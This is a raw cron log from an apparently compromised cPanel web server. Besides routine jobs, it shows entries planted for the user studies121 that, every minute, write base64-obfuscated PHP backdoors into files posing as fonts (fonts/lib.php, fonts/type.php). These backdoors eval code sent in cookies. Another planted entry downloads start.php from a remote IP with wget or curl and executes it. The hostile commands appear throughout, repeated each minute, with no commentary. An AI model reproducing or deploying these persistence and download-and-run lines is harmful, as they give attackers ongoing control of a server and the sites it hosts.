Sep  4 06:19:01 ip-184-168-122-23 CROND[5155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:19:01 ip-184-168-122-23 CROND[5156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:19:01 ip-184-168-122-23 CROND[5159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:19:01 ip-184-168-122-23 CROND[5160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:20:01 ip-184-168-122-23 CROND[5291]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 06:20:01 ip-184-168-122-23 CROND[5294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:20:01 ip-184-168-122-23 CROND[5297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:20:01 ip-184-168-122-23 CROND[5295]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:20:01 ip-184-168-122-23 CROND[5298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:20:01 ip-184-168-122-23 CROND[5296]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 06:20:01 ip-184-168-122-23 CROND[5301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:20:01 ip-184-168-122-23 CROND[5300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:20:01 ip-184-168-122-23 CROND[5299]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:21:01 ip-184-168-122-23 CROND[5432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:21:01 ip-184-168-122-23 CROND[5431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:21:01 ip-184-168-122-23 CROND[5437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:21:01 ip-184-168-122-23 CROND[5436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:22:01 ip-184-168-122-23 CROND[5629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:22:01 ip-184-168-122-23 CROND[5630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:22:01 ip-184-168-122-23 CROND[5633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:22:01 ip-184-168-122-23 CROND[5634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:22:01 ip-184-168-122-23 CROND[5632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:23:01 ip-184-168-122-23 CROND[5742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:23:01 ip-184-168-122-23 CROND[5743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:23:01 ip-184-168-122-23 CROND[5744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:23:01 ip-184-168-122-23 CROND[5748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:24:01 ip-184-168-122-23 CROND[5860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:24:01 ip-184-168-122-23 CROND[5862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:24:01 ip-184-168-122-23 CROND[5863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:24:01 ip-184-168-122-23 CROND[5864]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:24:01 ip-184-168-122-23 CROND[5868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:25:01 ip-184-168-122-23 CROND[5992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:25:01 ip-184-168-122-23 CROND[5994]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:25:01 ip-184-168-122-23 CROND[5996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:25:01 ip-184-168-122-23 CROND[5997]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 06:25:01 ip-184-168-122-23 CROND[5995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:25:01 ip-184-168-122-23 CROND[5999]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:25:01 ip-184-168-122-23 CROND[5998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:26:01 ip-184-168-122-23 CROND[6106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:26:01 ip-184-168-122-23 CROND[6108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:26:01 ip-184-168-122-23 CROND[6111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:26:01 ip-184-168-122-23 CROND[6110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:26:01 ip-184-168-122-23 CROND[6112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:27:01 ip-184-168-122-23 CROND[6333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:27:01 ip-184-168-122-23 CROND[6341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:27:01 ip-184-168-122-23 CROND[6343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:27:01 ip-184-168-122-23 CROND[6344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:28:01 ip-184-168-122-23 CROND[6472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:28:01 ip-184-168-122-23 CROND[6473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:28:01 ip-184-168-122-23 CROND[6474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:28:01 ip-184-168-122-23 CROND[6475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:28:01 ip-184-168-122-23 CROND[6476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:29:01 ip-184-168-122-23 CROND[6583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:29:01 ip-184-168-122-23 CROND[6586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:29:01 ip-184-168-122-23 CROND[6585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:29:01 ip-184-168-122-23 CROND[6587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:30:01 ip-184-168-122-23 CROND[6715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:30:01 ip-184-168-122-23 CROND[6717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:30:02 ip-184-168-122-23 CROND[6720]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:30:02 ip-184-168-122-23 CROND[6721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:30:02 ip-184-168-122-23 CROND[6719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:30:02 ip-184-168-122-23 CROND[6723]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:30:02 ip-184-168-122-23 CROND[6725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:30:02 ip-184-168-122-23 CROND[6724]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 06:31:01 ip-184-168-122-23 CROND[6851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
